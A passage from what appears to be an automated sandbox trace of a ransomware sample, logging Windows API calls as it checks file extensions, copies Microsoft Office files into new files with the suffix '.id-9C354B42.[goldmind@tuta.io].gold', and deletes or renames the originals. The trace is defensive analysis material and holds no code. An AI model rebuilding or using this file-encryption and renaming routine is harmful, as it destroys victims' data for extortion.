[0101.968] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString=".doc") returned 4 [0101.969] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".docx") returned 5 [0101.969] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.969] lstrlenW (lpString=".pdf") returned 4 [0101.969] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".xls") returned 4 [0101.969] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".xlsx") returned 5 [0101.969] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.969] lstrlenW (lpString=".ppt") returned 4 [0101.969] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString=".zip") returned 4 [0101.969] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".rar") returned 4 [0101.969] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".bz2") returned 4 [0101.969] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString=".7z") returned 3 [0101.969] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString=".dbf") returned 4 [0101.969] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString=".1cd") returned 4 [0101.969] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.969] lstrlenW (lpString=".jpg") returned 4 [0101.969] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.969] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0101.969] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0101.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.970] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=100224) returned 1 [0101.970] CloseHandle (hObject=0x3b8) returned 1 [0101.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20 [0101.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.971] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.971] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.972] GetLastError () returned 0x0 [0101.972] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x18780, lpOverlapped=0x0) returned 1 [0101.975] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x18790, lpOverlapped=0x0) returned 1 [0101.976] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.976] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0101.976] SetEndOfFile (hFile=0x3ac) returned 1 [0101.977] CloseHandle (hObject=0x3ac) returned 1 [0101.977] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.977] SetEndOfFile (hFile=0x3b8) returned 1 [0101.979] CloseHandle (hObject=0x3b8) returned 1 [0101.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 1 [0101.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.980] lstrlenW (lpString=".doc") returned 4 [0101.980] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.980] lstrlenW (lpString=".docx") returned 5 [0101.980] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.980] lstrlenW (lpString=".pdf") returned 4 [0101.980] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.980] lstrlenW (lpString=".xls") returned 4 [0101.980] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.980] lstrlenW (lpString=".xlsx") returned 5 [0101.980] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.980] lstrlenW (lpString=".ppt") returned 4 [0101.980] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".zip") returned 4 [0101.981] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".rar") returned 4 [0101.981] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".bz2") returned 4 [0101.981] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".7z") returned 3 [0101.981] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".dbf") returned 4 [0101.981] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".1cd") returned 4 [0101.981] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".jpg") returned 4 [0101.981] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".doc") returned 4 [0101.981] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".docx") returned 5 [0101.981] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.981] lstrlenW (lpString=".pdf") returned 4 [0101.981] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".xls") returned 4 [0101.981] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".xlsx") returned 5 [0101.981] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.981] lstrlenW (lpString=".ppt") returned 4 [0101.981] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".zip") returned 4 [0101.981] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".rar") returned 4 [0101.981] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".bz2") returned 4 [0101.981] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString=".7z") returned 3 [0101.981] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.981] lstrlenW (lpString=".dbf") returned 4 [0101.981] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.982] lstrlenW (lpString=".1cd") returned 4 [0101.982] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0101.982] lstrlenW (lpString=".jpg") returned 4 [0101.982] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.982] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0101.982] lstrlenW (lpString="GRLEX.DLL") returned 9 [0101.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.982] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=12672) returned 1 [0101.982] CloseHandle (hObject=0x3b8) returned 1 [0101.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll")) returned 0x20 [0101.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".doc") returned 4 [0101.983] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".docx") returned 5 [0101.983] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0101.983] lstrlenW (lpString=".pdf") returned 4 [0101.983] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".xls") returned 4 [0101.983] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".xlsx") returned 5 [0101.983] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0101.983] lstrlenW (lpString=".ppt") returned 4 [0101.983] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".zip") returned 4 [0101.983] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".rar") returned 4 [0101.983] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".bz2") returned 4 [0101.983] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0101.983] lstrlenW (lpString=".7z") returned 3 [0101.983] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".dbf") returned 4 [0101.983] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".1cd") returned 4 [0101.983] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".jpg") returned 4 [0101.983] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.983] lstrlenW (lpString=".doc") returned 4 [0101.983] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.983] lstrlenW (lpString=".docx") returned 5 [0101.983] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0101.984] lstrlenW (lpString=".pdf") returned 4 [0101.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.984] lstrlenW (lpString=".xls") returned 4 [0101.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.984] lstrlenW (lpString=".xlsx") returned 5 [0101.984] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0101.984] lstrlenW (lpString=".ppt") returned 4 [0101.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.984] lstrlenW (lpString=".zip") returned 4 [0101.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.984] lstrlenW (lpString=".rar") returned 4 [0101.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.984] lstrlenW (lpString=".bz2") returned 4 [0101.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0101.984] lstrlenW (lpString=".7z") returned 3 [0101.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.984] lstrlenW (lpString=".dbf") returned 4 [0101.984] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.984] lstrlenW (lpString=".1cd") returned 4 [0101.984] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0101.984] lstrlenW (lpString=".jpg") returned 4 [0101.984] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.984] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0101.984] lstrlenW (lpString="GROOVE.HXS") returned 10 [0101.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.209] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2278416) returned 1 [0103.209] CloseHandle (hObject=0x38c) returned 1 [0103.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0103.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".doc") returned 4 [0103.243] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.243] lstrlenW (lpString=".docx") returned 5 [0103.243] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0103.243] lstrlenW (lpString=".pdf") returned 4 [0103.243] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".xls") returned 4 [0103.243] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".xlsx") returned 5 [0103.243] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0103.243] lstrlenW (lpString=".ppt") returned 4 [0103.243] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".zip") returned 4 [0103.243] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".rar") returned 4 [0103.243] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".bz2") returned 4 [0103.243] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.243] lstrlenW (lpString=".7z") returned 3 [0103.243] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".dbf") returned 4 [0103.243] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".1cd") returned 4 [0103.243] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".jpg") returned 4 [0103.243] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".doc") returned 4 [0103.243] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.243] lstrlenW (lpString=".docx") returned 5 [0103.243] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0103.243] lstrlenW (lpString=".pdf") returned 4 [0103.243] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".xls") returned 4 [0103.243] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString=".xlsx") returned 5 [0103.243] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0103.243] lstrlenW (lpString=".ppt") returned 4 [0103.243] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.243] lstrlenW (lpString=".zip") returned 4 [0103.243] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.244] lstrlenW (lpString=".rar") returned 4 [0103.244] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.244] lstrlenW (lpString=".bz2") returned 4 [0103.244] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.244] lstrlenW (lpString=".7z") returned 3 [0103.244] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.244] lstrlenW (lpString=".dbf") returned 4 [0103.244] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.244] lstrlenW (lpString=".1cd") returned 4 [0103.244] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0103.244] lstrlenW (lpString=".jpg") returned 4 [0103.244] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.244] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.244] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0103.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.246] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=10745972) returned 1 [0103.246] CloseHandle (hObject=0x38c) returned 1 [0103.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0x20 [0103.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".doc") returned 4 [0103.356] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.356] lstrlenW (lpString=".docx") returned 5 [0103.356] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0103.356] lstrlenW (lpString=".pdf") returned 4 [0103.356] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString=".xls") returned 4 [0103.356] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString=".xlsx") returned 5 [0103.356] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0103.356] lstrlenW (lpString=".ppt") returned 4 [0103.356] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".zip") returned 4 [0103.356] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString=".rar") returned 4 [0103.356] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString=".bz2") returned 4 [0103.356] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.356] lstrlenW (lpString=".7z") returned 3 [0103.356] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".dbf") returned 4 [0103.356] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".1cd") returned 4 [0103.356] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".jpg") returned 4 [0103.356] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString="C:\\Program Files\\Microsoft 